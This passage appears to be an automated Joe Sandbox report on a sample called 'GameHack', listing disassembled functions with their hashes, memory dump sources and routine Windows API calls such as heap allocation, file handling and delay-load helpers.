Associated: 00000008.00000002.1297422726.0000000000F32000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_ed0000_GameHack.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dae87922ec1b8facf4cbd1f95d3770f60e2097a5265b52e6532e4d2d30c47c6e
Instruction ID: 101190c3399c99176361ade6981bccf9596980df4c60d2e5e158a44a2df56f1f
Opcode Fuzzy Hash: dae87922ec1b8facf4cbd1f95d3770f60e2097a5265b52e6532e4d2d30c47c6e
Instruction Fuzzy Hash: 4BF08C315007069FDB30DE65C94561AB7E8EB25324F289A2BE4A6E2790E771DA82C742

Function 00EF85A9 Relevance: 1.5, APIs: 1, Instructions: 39memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00000008,00F03958,00000000,?,00EF905A,00000001,00000364,?,?,?,00EDD25E,?,00BB1600,00000063,00000004,00EDCFE0), ref: 00EF85EA

Memory Dump Source

Source File: 00000008.00000002.1297270263.0000000000ED1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00ED0000, based on PE: true

Associated: 00000008.00000002.1297245855.0000000000ED0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297308438.0000000000F03000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F0E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F14000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F31000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297422726.0000000000F32000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_ed0000_GameHack.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 0eb6bc2519836153d8e2e820eed39a93b4a599d9a3495fb593eb1892b074deb0
Instruction ID: 9b68be47654eac887991eef86d7383820d74188d90e89221942603b78b26e079
Opcode Fuzzy Hash: 0eb6bc2519836153d8e2e820eed39a93b4a599d9a3495fb593eb1892b074deb0
Instruction Fuzzy Hash: 98F0E93164112DABEB211F669F01B7B77CCEF817B0B15A111AB18F6190CE30DD018AE4

Function 00ED5BD7 Relevance: 1.5, APIs: 1, Instructions: 32COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00ED5BDC

Part of subcall function 00EDB07D: __EH_prolog.LIBCMT ref: 00EDB082

Memory Dump Source

Source File: 00000008.00000002.1297270263.0000000000ED1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00ED0000, based on PE: true

Associated: 00000008.00000002.1297245855.0000000000ED0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297308438.0000000000F03000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F0E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F14000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F31000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297422726.0000000000F32000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_ed0000_GameHack.jbxd

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: 970fbf96c4a287a16b9c3cb94d4276e121b07904649541aa6c27b20711ea4b32
Instruction ID: 69b24bdf0ecf15381187370cef3089634a20e021d1ea383780c0ee84039185f9
Opcode Fuzzy Hash: 970fbf96c4a287a16b9c3cb94d4276e121b07904649541aa6c27b20711ea4b32
Instruction Fuzzy Hash: 90014634A05684DAC725FBA8C0553EEFBE4DB59710F40919EE85A63383CBB41B09D6A2

Function 00EF8518 Relevance: 1.5, APIs: 1, Instructions: 32memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00000000,?,00000000,?,00EFC13D,00000000,?,00EF67E2,?,00000008,?,00EF89AD,?,?,?), ref: 00EF854A

Memory Dump Source

Source File: 00000008.00000002.1297270263.0000000000ED1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00ED0000, based on PE: true

Associated: 00000008.00000002.1297245855.0000000000ED0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297308438.0000000000F03000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F0E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F14000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F31000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297422726.0000000000F32000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_ed0000_GameHack.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 1ee5ab3bf7923f377d16766508317d50c2891a885a8e81aadb52e82f698164b4
Instruction ID: 0a9883ec57a9923599117063959e7773ba5440908517f56f43c3d45f1f6c0e33
Opcode Fuzzy Hash: 1ee5ab3bf7923f377d16766508317d50c2891a885a8e81aadb52e82f698164b4
Instruction Fuzzy Hash: 9EE0E52154112D5BEB3126695E01BBA37CCDF413B4F156221AF5CBA091CE20CC0085E5

Function 00EDA4C6 Relevance: 1.5, APIs: 1, Instructions: 27COMMON

Download Yara Rule

APIs

FindClose.KERNELBASE(00000000,000000FF,?,?), ref: 00EDA4F5

Memory Dump Source

Source File: 00000008.00000002.1297270263.0000000000ED1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00ED0000, based on PE: true

Associated: 00000008.00000002.1297245855.0000000000ED0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297308438.0000000000F03000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F0E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F14000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F31000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297422726.0000000000F32000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_ed0000_GameHack.jbxd

Similarity

API ID: CloseFind
String ID:
API String ID: 1863332320-0
Opcode ID: a62f302ed97b93f6cb91a5ddcf459cedbcc55d9c181b1ed339a524616293885b
Instruction ID: 4771211b228fc5469861c02ca88abb685f366765ed1e36e333126cef8f862d4d
Opcode Fuzzy Hash: a62f302ed97b93f6cb91a5ddcf459cedbcc55d9c181b1ed339a524616293885b
Instruction Fuzzy Hash: 9CF0E9310093C0ABCA221BB888047CA7BD1EF05335F08DA0AF1FD22291C27416879723

Function 00EE067C Relevance: 1.5, APIs: 1, Instructions: 21threadCOMMON

Download Yara Rule

APIs

SetThreadExecutionState.KERNEL32(00000001), ref: 00EE06B1

Memory Dump Source

Source File: 00000008.00000002.1297270263.0000000000ED1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00ED0000, based on PE: true

Associated: 00000008.00000002.1297245855.0000000000ED0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297308438.0000000000F03000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F0E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F14000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F31000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297422726.0000000000F32000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_ed0000_GameHack.jbxd

Similarity

API ID: ExecutionStateThread
String ID:
API String ID: 2211380416-0
Opcode ID: c6845f1d87293ed5692a9082d8f37dcbd5f7b0de1e188e0ab44a7025672af406
Instruction ID: 99392a433dffc049364393f3b87a67c8f8f17f5f774832f5c4116c05807692dc
Opcode Fuzzy Hash: c6845f1d87293ed5692a9082d8f37dcbd5f7b0de1e188e0ab44a7025672af406
Instruction Fuzzy Hash: 95D05B3560519925D6213366A8067FE2B9A8FC3714F0A6067B80D77687CFD608C776E2

Function 00EE9D7B Relevance: 1.5, APIs: 1, Instructions: 17memoryCOMMON

Download Yara Rule

APIs

GdipAlloc.GDIPLUS(00000010), ref: 00EE9D81

Part of subcall function 00EE9B0F: GdipCreateBitmapFromStreamICM.GDIPLUS(?,?), ref: 00EE9B30

Memory Dump Source

Source File: 00000008.00000002.1297270263.0000000000ED1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00ED0000, based on PE: true

Associated: 00000008.00000002.1297245855.0000000000ED0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297308438.0000000000F03000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F0E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F14000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F31000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297422726.0000000000F32000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_ed0000_GameHack.jbxd

Similarity

API ID: Gdip$AllocBitmapCreateFromStream
String ID:
API String ID: 1915507550-0
Opcode ID: 4cf3c4e169e0f80c123d24ade4c43f63bdfd109b4bf71df52acedaf40aa9962d
Instruction ID: f44f0a0cf439d70e140156642fca2c565dcb12ae7b2332a87f6b95ea56d644f6
Opcode Fuzzy Hash: 4cf3c4e169e0f80c123d24ade4c43f63bdfd109b4bf71df52acedaf40aa9962d
Instruction Fuzzy Hash: 88D0A73061424CBADF40BE728C0297A7BECDB00300F009025BC08A6252EDB1DE10A261

Function 00ED9989 Relevance: 1.5, APIs: 1, Instructions: 15COMMON

Download Yara Rule

APIs

GetFileType.KERNELBASE(000000FF,00ED9887), ref: 00ED9995

Memory Dump Source

Source File: 00000008.00000002.1297270263.0000000000ED1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00ED0000, based on PE: true

Associated: 00000008.00000002.1297245855.0000000000ED0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297308438.0000000000F03000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F0E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F14000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F31000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297422726.0000000000F32000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_ed0000_GameHack.jbxd

Similarity

API ID: FileType
String ID:
API String ID: 3081899298-0
Opcode ID: 91dd3696db8aa448c91b71a6fa75e040e4ca600d8b0df9c5c2d23c4e6148396b
Instruction ID: 260e08c8956639759a02815255fda0dfa5e5f559ed92077277e3d9537551989b
Opcode Fuzzy Hash: 91dd3696db8aa448c91b71a6fa75e040e4ca600d8b0df9c5c2d23c4e6148396b
Instruction Fuzzy Hash: 7AD01231011140A58F2146344D190997755DBC336EB38E6A9D025D81A2D733C803F541

Function 00EED41A Relevance: 1.5, APIs: 1, Instructions: 13windowCOMMON

Download Yara Rule

APIs

SendDlgItemMessageW.USER32(0000006A,00000402,00000000,?,?), ref: 00EED43F

Part of subcall function 00EEAC74: PeekMessageW.USER32(?,00000000,00000000,00000000,00000000), ref: 00EEAC85
Part of subcall function 00EEAC74: GetMessageW.USER32(?,00000000,00000000,00000000), ref: 00EEAC96
Part of subcall function 00EEAC74: IsDialogMessageW.USER32(00010486,?), ref: 00EEACAA
Part of subcall function 00EEAC74: TranslateMessage.USER32(?), ref: 00EEACB8
Part of subcall function 00EEAC74: DispatchMessageW.USER32(?), ref: 00EEACC2

Memory Dump Source

Source File: 00000008.00000002.1297270263.0000000000ED1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00ED0000, based on PE: true

Associated: 00000008.00000002.1297245855.0000000000ED0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297308438.0000000000F03000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F0E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F14000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F31000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297422726.0000000000F32000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_ed0000_GameHack.jbxd

Similarity

API ID: Message$DialogDispatchItemPeekSendTranslate
String ID:
API String ID: 897784432-0
Opcode ID: 5bcad7ca2b5446edddf1b6b149dbb48a73b144db738e4c50a3b1dc6005225cfe
Instruction ID: f1e4da97d34ad2f5b8ee827bc7052de8af1aa6084db6f00b9e8d772311bc06ae
Opcode Fuzzy Hash: 5bcad7ca2b5446edddf1b6b149dbb48a73b144db738e4c50a3b1dc6005225cfe
Instruction Fuzzy Hash: 0FD09E31144304ABD6116B51CF06F1F7AE6BB88B04F004554B345740B1CA62AD21AB16

Function 00EED8E8 Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00EED8A3

Part of subcall function 00EEDF59: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00EEDFD6
Part of subcall function 00EEDF59: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00EEDFE7

Memory Dump Source

Source File: 00000008.00000002.1297270263.0000000000ED1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00ED0000, based on PE: true

Associated: 00000008.00000002.1297245855.0000000000ED0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297308438.0000000000F03000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F0E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F14000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F31000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297422726.0000000000F32000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_ed0000_GameHack.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: acae6a2f4de3b1ef6c5d4c24541744b51ccc7d603774103f51b2ad8e25399946
Instruction ID: fd6be7922e86b55593e2d0aa2e63bea776d4d47087cbd5f674c17613a2eada64
Opcode Fuzzy Hash: acae6a2f4de3b1ef6c5d4c24541744b51ccc7d603774103f51b2ad8e25399946
Instruction Fuzzy Hash: 59B012B136D5466C318CB1067D16D36025CC5C0B20330511AB00DF01C1D4809C457432

Function 00EED8FC Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00EED8A3

Part of subcall function 00EEDF59: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00EEDFD6
Part of subcall function 00EEDF59: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00EEDFE7

Memory Dump Source

Source File: 00000008.00000002.1297270263.0000000000ED1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00ED0000, based on PE: true

Associated: 00000008.00000002.1297245855.0000000000ED0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297308438.0000000000F03000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F0E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F14000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F31000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297422726.0000000000F32000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_ed0000_GameHack.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: d5007d6585ee42cfa5ed6e11d030e7fa5bd1d66529b5cde6ad01fe00a2459bc1
Instruction ID: ea3aa3f02ec37cc5a24155ad814cc38fd770c3c04ffad5a68e1568d4436525b1
Opcode Fuzzy Hash: d5007d6585ee42cfa5ed6e11d030e7fa5bd1d66529b5cde6ad01fe00a2459bc1
Instruction Fuzzy Hash: FAB012B136D4466C314CB1076D16D36025CD5C0B20330501AB00DF01C1D4409C057432

Function 00EED8F2 Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00EED8A3

Part of subcall function 00EEDF59: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00EEDFD6
Part of subcall function 00EEDF59: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00EEDFE7

Memory Dump Source

Source File: 00000008.00000002.1297270263.0000000000ED1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00ED0000, based on PE: true

Associated: 00000008.00000002.1297245855.0000000000ED0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297308438.0000000000F03000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F0E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F14000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F31000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297422726.0000000000F32000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_ed0000_GameHack.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 61a3184285fbd39e4929f3d8abc5ed54bebcc5bf8e1c52fb7f9f1269fadb9f4a
Instruction ID: 1cc605cd53215c6ad5eb6840dd3d8eaeed1fca548320f787016033b035bb95ce
Opcode Fuzzy Hash: 61a3184285fbd39e4929f3d8abc5ed54bebcc5bf8e1c52fb7f9f1269fadb9f4a
Instruction Fuzzy Hash: 85B012B136D4466C314CB1066E16D36025CC5C0B20330501AB00DF01C1D4409D067432

Function 00EED8CA Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00EED8A3

Part of subcall function 00EEDF59: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00EEDFD6
Part of subcall function 00EEDF59: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00EEDFE7

Memory Dump Source

Source File: 00000008.00000002.1297270263.0000000000ED1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00ED0000, based on PE: true

Associated: 00000008.00000002.1297245855.0000000000ED0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297308438.0000000000F03000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F0E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F14000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F31000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297422726.0000000000F32000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_ed0000_GameHack.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: cde552ad0d4745e541c4fd59d815664283bc3659146c9ae469fd9dc8e6846604
Instruction ID: 083209ecdbd9c42fa588452b94fc9ef07fc8f0a238b664e365036003c4705376
Opcode Fuzzy Hash: cde552ad0d4745e541c4fd59d815664283bc3659146c9ae469fd9dc8e6846604
Instruction Fuzzy Hash: 75B012A136D4466C314CB1076E16D36024CC5C0B20330901AB00DF02C1D4409C0F7432

Function 00EED8C0 Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00EED8A3

Part of subcall function 00EEDF59: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00EEDFD6
Part of subcall function 00EEDF59: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00EEDFE7

Memory Dump Source

Source File: 00000008.00000002.1297270263.0000000000ED1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00ED0000, based on PE: true

Associated: 00000008.00000002.1297245855.0000000000ED0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297308438.0000000000F03000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F0E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F14000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F31000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297422726.0000000000F32000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_ed0000_GameHack.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: f845d2038514a402e15b6fb07dabe55626b0e8b399298ff5e2b61c689156d930
Instruction ID: 271a3821f4305fce32210976bbb40fb31b67b0e82d62d957839536622bc0d36a
Opcode Fuzzy Hash: f845d2038514a402e15b6fb07dabe55626b0e8b399298ff5e2b61c689156d930
Instruction Fuzzy Hash: 8BB012A136D58A6C318CB1067D16D36024CC5C0B20330911AB00DF02C1D4809C8A7432

Function 00EED8DE Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00EED8A3

Part of subcall function 00EEDF59: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00EEDFD6
Part of subcall function 00EEDF59: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00EEDFE7

Memory Dump Source

Source File: 00000008.00000002.1297270263.0000000000ED1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00ED0000, based on PE: true

Associated: 00000008.00000002.1297245855.0000000000ED0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297308438.0000000000F03000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F0E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F14000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F31000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297422726.0000000000F32000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_ed0000_GameHack.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 1a32b8f7c540a07389337905af26fc33807002233b3c6839c926c33a28ed733e
Instruction ID: 119c207f72262d849e1743d6c482157d006d538048d007a64b5de0ad93b0797c
Opcode Fuzzy Hash: 1a32b8f7c540a07389337905af26fc33807002233b3c6839c926c33a28ed733e
Instruction Fuzzy Hash: B4B012B136D4466C314CB1066D16D36025CC5C1B20330901AB40DF01C1D4409C057432

Function 00EED8AC Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00EED8A3

Part of subcall function 00EEDF59: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00EEDFD6
Part of subcall function 00EEDF59: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00EEDFE7

Memory Dump Source

Source File: 00000008.00000002.1297270263.0000000000ED1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00ED0000, based on PE: true

Associated: 00000008.00000002.1297245855.0000000000ED0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297308438.0000000000F03000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F0E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F14000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F31000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297422726.0000000000F32000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_ed0000_GameHack.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: b3e8d79e5033e798627b37bf8de66a55132075d9ad7997fdf3f22ced9db35af8
Instruction ID: 642d51b235705b49c294fe1f0101eae492a084b67e448661b241106d4e45b750
Opcode Fuzzy Hash: b3e8d79e5033e798627b37bf8de66a55132075d9ad7997fdf3f22ced9db35af8
Instruction Fuzzy Hash: D1B012A536D54A6C314CB1066D56D3B024CF5C0B20330501AB40DF01C1D5409C057532

Function 00EED8B6 Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00EED8A3

Part of subcall function 00EEDF59: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00EEDFD6
Part of subcall function 00EEDF59: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00EEDFE7

Memory Dump Source

Source File: 00000008.00000002.1297270263.0000000000ED1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00ED0000, based on PE: true

Associated: 00000008.00000002.1297245855.0000000000ED0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297308438.0000000000F03000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F0E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F14000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F31000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297422726.0000000000F32000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_ed0000_GameHack.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 7086e672695fc65ca4d6252d6cac4d7bdc70bbcaf75661a5a28bfa6cbd07c178
Instruction ID: f05ed20e9451d198ef9dca0d7f76df0eaba72c04533f4ae7e830d9603ff56efa
Opcode Fuzzy Hash: 7086e672695fc65ca4d6252d6cac4d7bdc70bbcaf75661a5a28bfa6cbd07c178
Instruction Fuzzy Hash: 2FB012A136D4466C314CB1066D16D36024CC5C1B20330D01AB40DF02C1D4409C0E7432

Function 00EED891 Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00EED8A3

Part of subcall function 00EEDF59: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00EEDFD6
Part of subcall function 00EEDF59: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00EEDFE7

Memory Dump Source

Source File: 00000008.00000002.1297270263.0000000000ED1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00ED0000, based on PE: true

Associated: 00000008.00000002.1297245855.0000000000ED0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297308438.0000000000F03000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F0E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F14000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F31000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297422726.0000000000F32000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_ed0000_GameHack.jbxd

Similarity

